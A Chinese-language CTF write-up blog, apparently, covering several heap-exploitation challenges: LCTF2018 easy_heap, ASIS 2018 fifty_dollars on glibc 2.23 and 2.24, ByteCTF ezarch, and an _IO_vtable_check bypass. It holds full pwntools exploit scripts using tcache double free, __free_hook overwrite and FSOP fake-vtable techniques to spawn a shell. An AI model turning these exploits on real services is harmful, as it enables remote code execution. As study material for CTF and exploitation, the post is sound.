KCTFQ3-heap

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall read_content(__int64 a1, int a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 10 )
break;
*(_BYTE *)(a1 + i) = s;
}
result = (unsigned int)i;
if ( i == a2 )
{
result = i + a1; // null off by one
*(_BYTE *)result = 0;
}
return result;
}

null off by one没什么好说的,正常思路Overlapping 然后直接uaf就行。但是这题我没有动手很久。因为没地方leak libc_base。

只有泄露堆的地址,但是这题保护全力开,pie也开了。主要还是没有理解__malloc_hook的weak_variable这是个弱类型。前面的那长段hook的操作其实并没有改变libc上__malloc_hook的指向。所以这里libc上的__malloc_hook不为NULL还是_malloc_ini,所以这里是可以直接写低字节的。

但是这里我还是出问题了,本地测试我用的是debug的libc,在关键的偏移上存在偏差。

如果拿unsortedbin地址写到fastbin上去。写低1字节,但这个我debug libc.2.23不行。12位的差异,要写2字节,开了aslr只能保证低12位的。这里需要爆破。 概率是1/16,可能它给的libc不需要爆破。

也可以在main_arena结构上伪造chunk。把unsortbin 写掉。这里可以避免爆破。也可能不能避免。

但是万万没想到的是 把mallo_ini如果写成one_gadget, 你知道吗? 至少要写2字节 20位的偏移。你确定,只能保证12位的正确 8位的爆破? 0xff。 那这样其实也是可以的 :)

LCTF2018-easy-heap

1
2
3
4
5
6
7
8
9
10
void menu()
{
puts("------------------------");
puts("1: malloc. ");
puts("2: free. ");
puts("3: puts. ");
puts("4: exit. ");
puts("------------------------");
printf("which command?\n> ");
}

point at

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void safe_read (char *pt1,unsigned int size)
{
int i=0;
if(size==0)
{
pt1[0]='\0';
return;
}
while(1)
{
read(0,&pt1[i],1);
if(i>size-1 || pt1[i]=='\0' || pt1[i]=='\n')
break;
i+=1;
}
pt1[i]='\0';
pt1[size]='\0';
}

显然易见的可以读size+1个字符,但最后一个字符只能是\x00, 所以这里是null by off,溢出NULL字符,改变nextchunk的sizeprev_inuse标志位,nextchunk的size 一般都应该在0xppppp00左右,即16进制下后两位为零,而且至少chunksize>=0x100。这道题的输入还有一个特点,不能输入\x00字符。先看一下这道题的分配chunk的特点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void malloc_1()
{
int i;
unsigned int size;
for (i=0;i<=9;i++)
{
if ( tk->kele[i].pt1==NULL)
break;
else continue;
}
if (i==10)
{
puts("full!");
return;
}
tk->kele[i].pt1=(char *)malloc(0xf8);
if (tk->kele[i].pt1==NULL)
{
puts("malloc error!");
bye_bye();
}
printf("size \n> ");
size=get_atoi();
if(size>0xf8)
bye_bye();
tk->kele[i].size=size;
printf("content \n> ");
safe_read(tk->kele[i].pt1,tk->kele[i].size);
}

可以看到是固定分配0xf80x100,也恰好符合上面约束规则,其他删除和dump函数也没有其他的可利用的点,现在需要思考我们能拿这个溢出的NULL做点什么?先看下面这种情况。 图1

NULL字符覆盖B的prev_inuse位之后,在free的阶段会向后合并,造成Achunk的堆空间重叠,再思考即使设置了prev_inuse为零以外,还需要设置prev_size.即这里需要指定prev_size为0x200.但是前面说过这里是无法输入\x00字符的,这里我们需要如何弄一个0x200出来呢?不能手动输入,那就让自己合并呗。

1
2
3
4
5
6
7
8
9
10
11
12
13
A = malloc(0xf8);
B = malloc(0xf8);
C = malloc(0xf8);
malloc(0xf8); //防止和top_chunk合并
free(A);
free(B);
free(C);/*这里为什么还有freeC呢,因为unsortbin被遍历放到smallbins里面,通过bitmap再拿到之后,会进行分割,会对分割剩下的chunk,设置foot,即reminder_size。这个时候,如果不freeC,这里的0x200会变成0x100,前面做的就白费了*/
//这里就在C的chunk的结构上设置好了0x200
A = malloc(0xf8);
B = malloc(0xf8); // 根据题目条件这里是通过这种输入的size来控制溢出。所以这里我们不会把0x200再覆盖掉。
(char *)B[16] = 0;
C = malloc(0xf8);
free(C)

这里因为chunk重叠,重叠精髓在于,我们有可能可以得到这个chunk的两个指针引用,相互影响将会产生magic。两个指针引用的利用,最常见的是在double free里面,这里有没有可能进行double free呢?

现在再来看libc的版本,libc版本为2.27,这个版本的libc是带tcache机制的,所以以上的操作我们必须得在tcache相应的bin被填满以后才能进行。

如果我把这两个指针都通过free放到tcache里面呢?下面看一下tcache_get

1
2
3
4
5
6
7
8
9
10
11
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

这里比fastbin的安全性检查都不如,没有检查e->next的合法性,直接用就行了。直接把fastbin里面的double free那一套放上去就行,利用double_free 使next指向_free_malloc就行,然后二次malloc double_free的chunk时候,把/bin/sh\x00写进去,__free_malloc指向system就行。

下面看具体的操作。直接把exploit列出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_heap')

def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))

def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)

def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))

def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]

def main():
# Your exploit script goes here

# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
# 内存布局把tache填满,且最后一个tache为最后一个内存块,防止中间的3个unsortbin和top_chunk合并。
for i in range(7):
new(0x10, str(i) + ' - tcache')

for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks

# arrange:
for i in range(6):
delete(i)
delete(9)
for i in range(6, 9):
delete(i)

# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
#分割经过合并大的unsorted_chunk 得到三个需要的unsorted_chunk,这个时候0x200的prev_size已经被写到中
# 间的unsorted_chunk了.
for i in range(7):
new(0x10, str(i) + ' - tcache')

# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
# 释放掉6个到tcache里面,最后一个留个中间那个unsorted_chunk,因为一会需要直接拿出覆盖写。

for i in range(6):
delete(i)
# move second into tcache
delete(8)
# delete first to provide valid fd & bk
# 为什么这里需要把这个unsortbin也释放掉呢?好问题,这里是因为在后面向后扩展的unlink中有一处验证
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 把这个验证绕过了。
delete(7)

#直接从tcache里面拿出来写,覆盖第三个unsorted_chunk的perv_inuse的标志位
new(0xf8, '0 - overflow')
# fill up tcache
#填满tacache
delete(6)

# trigger
#触发向后合并。并把这个fake_chunk放到unsortbin里面
delete(9)

# step 3: leak, fill up
#还是先把tache全部取出来
for i in range(7):
new(0x10, str(i) + ' - tcache')
# 遍历到大的unsorted_chunk,分割之后,中间的unsorted_chunk fd指向unsortbin,泄露libc的地址。
new(0x10, '8 - fillup')

libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0

# step 4: constrecvuntilct UAF, write into __free_hook
# 得到第二个中间unsorted_chunk的指针
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(1)
delete(2)
# 相同的两个指针,double free
delete(0)
delete(9)
# 执行__free_hook,比伪造fastbin的chunk都简单,直接任意地址写。
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '/bin/sh\x00into target') # 1
one_gadget = libc.address + 0x4f322
new(0x10, p64(one_gadget))

# system("/bin/sh\x00")
delete(1)

p.interactive()

if __name__ == '__main__':
main()

这道题是比较经典的,null字符溢出到overlapping chunk,chunk重叠得到两个相同chunk地址的指针引用,再配合tcache里面double_free任意地址写。Amazing!

asisctf-2018-fiftyDollars-glibc2.23

point

use after free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall show(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
result = heap[a1];
if ( result )
{
myputs(heap[a1], a2);
result = myputs("Done!\n", a2);
}
}
return result;
}

double free

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall del(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
free((void *)heap[a1]);
result = myputs("Done!\n", a2);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall alloc(unsigned int a1, __int64 a2)
{
void *v2; // rsi

if ( a1 <= 9 )
{
heap[a1] = malloc(0x50uLL);
myputs("Content:", a2);
v2 = (void *)heap[a1];
read(0, v2, 0x50uLL);
myputs("Done!\n", v2);
}
}

再来看堆上分配chunk的结构。固定分配0x60的chunk大小,属于fastbin里面 的chunk,很明显这题我们需要用double_free来进行fastbin attack, 至于前面的use after free 有什么用当然,我们可以用过它来泄露heap的地址。double_free配合fastbin_attack,可以进行任意堆地址写。 __malloc_hook的内存分布附近至少需要0x70的chunk才行,在这里我们做不到覆盖。所以这题往IO方向走。

先想覆盖_IO_list_all,把它覆盖为堆上地址,第一想到用unsortedbin attack让它指向unsortedbin,但是这里都是fastbin里面的chunk,先想个办法把unsorted chunk 弄出来。通过前面的double_free实现堆上任意写,把其中一个0x60chunk变成unsorted chunk 的size,再free它,这个unsorted chunk的bk指针也是可控。再清空fastbin,malloc(0x50)就能触发unsortedbin attack。

接着递进想法,把IO_list_all放到unsortedbin上以后,下一步就是把他_chain指向我们可控的堆上,计算_chain的偏移 IO_list_all = main_arena+88 &(IO_list_all->_chain) = main+88 + 104 => unsortbin+0x68 => smallbin[0x60] 所以需要把我们伪造的fp 放到smallbins 0x60上,如何放到smallbin 上去呢?,先需要把相应的chunk的放到unsortedbin上去,所以我需要把0x60放在unsortedbin上去,但是这里有一个问题,malloc(0x50),那么这里的unsortedbin上的0x60chunk是没有办法往smallbin 0x60上放的。所以这里的IO_list_all ->_chain不可控。这里就是这道题需要学到的point 。

暂且看当0x60不可控的时候,_chain指向哪里呢? &(IO_list_all->_chain)=smallbin[0x60] => smallbin[0x60] -> unsortbin+0x68-0x18 -> smallbins[0x50] &(IO_list_all->_chain->_chain) = unsortbin+0x50 + 0x68 = smallbins[0xb0]

通过_chain遍历io单链表,又一次指向了smallbins 上的 0xb0大小的chunk , 这里我们就可以伪造出相应的unsorted chunk。

再来看一下遍历IO_list_all刷新缓冲区的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

...

return result;
}

循环遍历_IO_list_all,也不会效验是不是合法的fp,仅判断需要不需要刷新缓冲区,所以我们不用担心每一个fp是否需要特殊化,仅仅关注_chain即可,最终让它指向我们伪造的fp上。伪造的fp需要满足需要刷新缓冲区的条件之外,还需要伪造vtable虚表中的_overflow处理函数。所以这道题意图已经很明显。

  1. 泄露heap_base_address
  2. 泄露libc_base_address
  3. double_free 下的fastbins attack 位置长度为0xb0的chunk,chunk上设置好fp的布局
  4. malloc 触发unsortedbin 遍历,fake_fp放到smallbins去。

再来看一下具体的布局。 图片

接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

r = process(["./fifty_dollars"])
#r = remote("178.62.40.102",6001)
def alloca(idx,content):
r.sendlineafter(":","1")
r.sendlineafter(":",str(idx))
r.sendafter(":",content)

def show(idx):
r.sendlineafter(":","2")
r.sendlineafter(":",str(idx))
def remove(idx):
r.sendlineafter(":","3")
r.sendlineafter(":",str(idx))

alloca(0,"\x00"*0x48+p64(0x60))
alloca(2,"\x00")
alloca(1,"\x00") #紧接的2个chunk不能动,保证fake fp结构完整性
alloca(1,"\x00")
alloca(1,"\x00")
alloca(3,"\x00")
alloca(4,"\x00")
alloca(5,"\x00")
alloca(6,"\x00") #申请布局

remove(1) #UAF读fastbin泄露heap地址
remove(0)
show(0)
heap = u64(r.recvn(6).ljust(8,'\x00'))-0x180
print hex(heap)

remove(1)
alloca(1,p64(heap+0x50)) #第一次double_free布局,把2释放到unsortedbin里面去。泄露libc的地址
alloca(1,"a")
alloca(1,"a")
alloca(1,"\x00"*0x8+p64(0x121))
remove(2)
show(2)
libc = u64(r.recvn(6).ljust(8,'\x00'))-0x3c4b78
print hex(libc)

io_list_all = libc+0x3c5520
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x50))
alloca(0,"\x00"*0x48+p64(0x61))
alloca(0,"a")
#alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+"\x00"*0x28+p64(0x61))
alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+p64(0)+p64(1)+"\x00"*0x18+p64(0x61))

# 布局fake_fp,fp首地址写入/bin/sh\x00,修改size为0xb0,修改bk指针为io_list_all-0x10
# 修改write_base 和write_ptr


#wide = heap+0x1e0
#vtable = heap+0x1e0+0x28
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0xc0))
alloca(0,"a")
alloca(0,"a")
# alloca(0,"\x00"*0x30+p64(wide)+p64(0x61))
alloca(0,"\x00"*0x48+p64(0x61))
# double_free写size 构造假的fast_chunk为写mode 和 vtable

remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x110))
alloca(0,"a")
#alloca(0,p64(0x1)+p64(0x2)+p64(0x3)+p64(0x0)*3+p64(libc+0x45390))
alloca(0,"a")
#alloca(0,"\x00"*0x10+p64(0x1)+"\x00"*0x10+p64(vtable)+p64(0x61))
alloca(0,p64(0)+p64(0)+p64(0)+p64(heap+0x1e0)) # 写mode 和 vtable的地址值

remove(3)
alloca(0,p64(0)+p64(libc+0x45390)) # fake vtable
input()
alloca(0,"") #触发unsortedbin 遍历
r.interactive()

注释的代码是第第二种绕if的构造方法即

1
2
3
(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)

asisctf-2018-fiftyDollars-glibc2.24

上一篇的提示版本,在glibc2.24中增加了对io_fp里面vtable虚表的检查

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

增加了两个指针指向定义vtable数据段的一头一尾。这里我们没有办法再把vtable放在堆上了,当有后面检查也可以绕过,这里假设不能往堆写了vtable了,用一种新的攻击方式来讲解。既然不能用堆上任意构造的vtable,那么现有的vtable有没有办法利用呢?

这里将利用_IO_str_jumps_IO_wstr_jumps来实现str和wstr区别是一个字符占1字节,wstr是一个字符占2字节。

1
2
3
4
5
6
7
8
9
10
11
void
_IO_str_finish (fp, dummy)
_IO_FILE *fp;
int dummy;
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

INTUSE(_IO_default_finish) (fp, 0);
}

这里看到只要满足if的条件判断,就能执行fp上指向的任意地址的函数。

1
2
3
4
5
6
pwndbg> p _IO_str_jumps 
$9 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e9cc02 <_IO_str_finish>,
__overflow = 0x7ffff7e9c8ab <__GI__IO_str_overflow>,

可以看到__finish函数指针在__overflow-0x8的位置,所以这个时候需要把vtable=_IO_str_jumps - 0x8 再来看一下_I0_buf_base这个结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_streambuf
{
struct _IO_FILE _f;
const void *_vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

(_IO_strfile *) fp)->_s._free_buffer = system即可,具体看exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn_debug.pwn_debug import *
from pwn_debug.IO_FILE_plus import *

pdbg=pwn_debug("ASIS2018-fifty_dollars")
pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.24")
pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("debug")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base

def alloc(idx,data):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("dex:")
p.sendline(str(idx))
p.recvuntil("Content:")
p.send(data)

def delete(idx):

p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("dex:")
p.sendline(str(idx))
def show(idx):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("dex:")
p.sendline(str(idx))

def arbitrary_write(addr,data):
delete(3)
delete(4)
delete(3)
pad=p64(0)+p64(0x61)
alloc(3,p64(addr-0x10))
alloc(4,pad*5)
alloc(3,pad*5)
alloc(0,data)

def pwn():
#pdbg.bp([0xbae])
data=(p64(0)+p64(0x61))*5
# 这个地方值得学习,用(p64(0)+p64(0x61))填满了整个可控的堆范围,这里来任意写之前就不用特意再去构造条件了
# 当然也要注意一些被重写的地方
for i in range(0,10):
alloc(i,data)

#alloc(1,"b")

# step 1 leak heap base
#fastbin 泄露heap
delete(1)
delete(0)
show(0)
heap_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-0x60
log.info("leaking heap base: %s"%hex(heap_base))
data=p64(heap_base+0x50)

delete(1)
#第一次double free 修改size,通过unsortedbin 泄露libc
#pdbg.bp(0xb53)
alloc(1,data)
alloc(0,data)
alloc(1,data)
## step 2 build a fake unsorted bin with size of 0xb1 and leak libc addres
fake=p64(0)+p64(0xb1)
alloc(8,fake)
#pdbg.bp(0xada)
delete(1)
show(1)
libc_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-libc.symbols['main_arena']-88
io_list_all=libc_base+libc.symbols['_IO_list_all']
binsh_addr=libc_base+next(libc.search("/bin/sh"))
io_str_jumps=libc_base+libc.symbols['_IO_str_jumps']
system_addr=libc_base+libc.symbols['system']
log.info("leaking libc base: %s"%hex(libc_base))
#构造双unsorted chunk,让0xb0放进smallbins 其实这里没有必要的为什么?
#当0xb0在unsortedbin 里面的时候,bk= _IO_list_all-0x10,一次遍历就已经被放到smallbins了
#next 处理的是 _IO_list_all-0x10出的chunk,这个时候因为size不符合条件直接malloc_printerr
#触发_overflow
arbitrary_write(heap_base+0x240,p64(0)+p64(0xa1))
delete(6)

#pdbg.bp([0xada,0xb06])

## step 3 right now there are two unsorted bin in main_arena, so we need to malloc 0xa0 chunk and put 0xb0 chunk to smallbin array

### malloc 0x60 from 0xa0 first

alloc(0,'a')
### revise the left chunk size from 0x40 to 0x60 and malloc it out.
arbitrary_write(heap_base+0x2a0,p64(0)+p64(0x61))
#pdbg.bp([0xada,0xb06])
## step 4 prepare to unsoeted bin attack

delete(7)
alloc(7,p64(0)+p64(io_list_all-0x10))
alloc(7,'0')
#这个挺有意思的,不用考虑计算偏移。
fake_file=IO_FILE_plus()
#fake_file._flags=0x1
fake_file._IO_read_ptr=0xb1
#fake_file._IO_read_base=io_list_all-0x10
#/bin/sh\x00
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_ptr=1
#特殊之处vtable指向的是io_str_jumps-8
fake_file.vtable=io_str_jumps-8
fake_file.show()
fake_file.str_finish_check()
#同时设定(_IO_strfile *) fp)->_s._free_buffer = &system
file_data=str(fake_file)+p64(system_addr)*2
## step 5 write fake file
#这几个任意写还是比较有意思的。还有一个地方需要注意这里没有特殊写_mode,_mode位于fp+0xc0
#按照前面的padding 这个地方应该是为0的,所以没有特殊处理。
arbitrary_write(heap_base+0x60,file_data[:0x50])
#pdbg.bp([0xada,0xb06])
arbitrary_write(heap_base+0x60+len(str(fake_file))-0x10,file_data[-0x20:])
#pdbg.bp(0xb06)
## step 6 trigger FSOP to get shell

p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("Index:")
p.sendline("1")
p.interactive() #get the shell
if __name__ == '__main__':
pwn()

精髓还是在布局上,这种padding的布局值得学习,统一!

byteCTF2019-ezarch

我意外之中做了这道题,事后才知道它来自哪里 (膜

周末。panda熊猫让扔过来一道,他说是pwn中分数最高的,由于时间太短,没能做出来,太遗憾。这里把当时思路记录一下。

从题目名字来看ezarch,arch架构 ?3个功能,设置内存,下断点,运行。后知后觉原来是个虚拟机。当时主要是先入为主了,一段段的去看代码。主要还是太急了,根据我之前分析php内核的虚拟机的结构,这个地方其实是有套路的,分析虚拟机最主要的两个目标是:

  • 虚拟机内部用来描述整个执行过程的指令集。
  • 单个指令对应的解释过程。

先看设置内存的过程。仔细分析定义内存的结构应该是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct vm{
char * mem; //malloc分配的内存区
char * stack; // vm里面栈空间,指向栈顶
uint stack_size; // 栈空间的大小
uint mem_size; //内存区的大小
uint *[256]; //breakpoint 断点区
uint r0; // R0-R15
uint r1;
...
uint r15;
uint eip;
uint esp
uint ebp;
uint16 eflags;
}

这个结构存储在bss上,这里有一个结构虚拟机栈的空间是和这个结构紧靠着的。然后设置eip和esp,esp相关的寄存器。这里的寄存器都是相应的偏移值。这就是整个虚拟机内存初始化过程。

还有一个下断点的功能,就是把需要断住的eip储存在上面的bp空间里面。

最后来看虚拟机的执行器。就是这个地方浪费了我不少时间,一个switch,早就应该想到这个switch对应的就是处理过程的选择。

执行器会以步长10字节为一个opline来处理,opline的结构还是和通常的opline结构一样,opcode和操作数,操作数一般为两个,这里是没有返回值操作数的,一般返回值储存在前面两个操作数里面一个。

如果你是抱着上述思想来分析,整个执行器的过程就明了

1
2
3
4
5
6
7
8
9
10字节的opline结构
+0x0 opcode
+0x1 高4位操作数1类型,低四位操作数2类型
+0x2 4字节操作数1
+0x6 4字节操作数2

操作数类型 0 寄存器变量 R0-R15 16=ESP 17=EBP
操作数类型 1 立即数
操作数类型 2 取地址值,地址变量为寄存器变量即[reg]

再看switch里面对应的case,这里不用看完,第一个case相当于nop,第二个和第三个是加减指令。第四个是读写寄存器。就这几个case就够,下面的异或,并,且逻辑运算等就不用看了。

这里分布是比较有特点,vm栈空间是和控制vm的结构是紧靠在一起的。这里checksec一下,发现got表是可以写的,但是开了pie。如果我们能把栈移到got表上呢?这里对esp和ebp做了一个检查。

1
2
if ( v1 >= v2 || *(_DWORD *)(a1 + 1116) >= *(_DWORD *)(a1 + 16) || v2 <= *(_DWORD *)(a1 + 1120) )
return 1LL;

这里是什么意思呢,esp要小于栈的大小。ebp要小于mem的大小。mem使我们自定义的是可控的。

这里栈的大小是固定的为0x1000。如果我们设置的内存的大小大于栈的空间大小0x1000, 那么我们的ebp是可以指向超出栈的空间的。并且这里是开了pie的。所以要找一个地址来中转。这里vm的结构上有栈顶的指针,为了也能让esp偏移超出限制,这里先让ebp偏移指向vm->stack_size.改变栈的大小。下面就是写got的过程。

在加减的处理过程中,除了写固定的寄存器以外,也可以写[reg],所以这里我们需要改变vm->mem的指向,前面也说了vm上有栈顶的指针,栈顶为bss上的地址。

这里再让ebp指向vm->stack. 将vm->mem覆盖为vm->stack.后面的流程就明显了。覆盖malloc@got为one_gadget。

把思路记录一下。也是第一次看虚拟机的题目,不过相对来说这个虚拟机还是比较简单:slight_smile: 。

io_vtable_check-of-pwn

在看HCTF2018里面的一道叫babyprintf的题时候,本是一道很常规的题,解法也很多,但是我看出题师傅自己的解法的时候,把我难住了。他用了一种我一直忽略了的bypass IO_vtable_check的方法。也是非常少见的一种方法,我是第一次看见,但是我感觉理论上应该是最好的一种方法。下面看我的曲折经历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

...

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

在这个地方如果vtable的位置不是在指定的范围内,就会进入IO_vtable_check,在这里大多数有两种方法:

  1. rtld_active() = NULL
  2. 利用的原有的vtable来,比如_IO_str_jumps,控制流程不会触发_IO_vtable_check

至于进入_dl_addr的利用可能流程上分析来有点略微麻烦,这里我们不考虑这个点。先看第一种方法,这里rtld_active()实际上是_rtld_local_ro->_dl_init_all_dirs,这里你动态调的时候你发现这个结构在不能写的段上,所以这个点是没法用的。再看第二种,用到是_IO_str_jumps中的_IO_str_finish

1
2
3
4
5
6
7
8
9
10
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

这里并不像libc-2.24中的那样,这里已经不存在可以写的函数指针了,直接用的是free。所以这题的解法也是意料之中的。再往前看:

1
2
3
4
5
6
7
8
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

我们看这个地方,其实有很多文章中提到过这个点。先看具体的汇编内容

1
2
3
4
5
6
mov    rax,QWORD PTR [rip+0x1354c6]        # 0x7ffff7fce448 <IO_accept_foreign_vtables>
ror rax,0x11
xor rax,QWORD PTR fs:0x30
lea rdx,[rip+0xffffffffffffffe5] # 0x7ffff7e98f7b <_IO_vtable_check>
cmp rax,rdx
je 0x7ffff7e98fec <_IO_vtable_check+113>

很多文章里面仅仅是提到过,但是都是以这里涉及到关于fs的段寄存器的读写,最后下的结论都是很难利用。我第一次看见的也是这么认为的,所以我忽略了这种利用方式。在前面HCTF中babyprintf出题人的exp中,虽然exp里面写的不是很详细,一些偏移计算不太理解,但是我知道这还是一种bypass _IO_vtable_check的方法。最好我把它锁定在上面汇编处,但是无法理解,exp出现了tls的地址,并且加上了一段偏移就直接指向了fs:[30]的地址上,这让我实在无法理解,遂去联系了出题人为什么会这样做,因为时间太长,他也无法解释得通,得到的回答是用了一个随便指向tls的指针,如果想深究,他建议我去看glibc的源码。经过一段时间对glibc的探索,终于得知了个所以然。网上的资料比较少,过程较为曲折。

在第一面对这个问题时候,我首先想的是fs段指向的是哪里?这个问题很简单能得知,在glibc用fs寄存器当做pthead的储存地址,即tls的结构。所以这里我想的是,如果想知道fs具体的指向,就要看第一次对fs的使用。这是思路的开始。

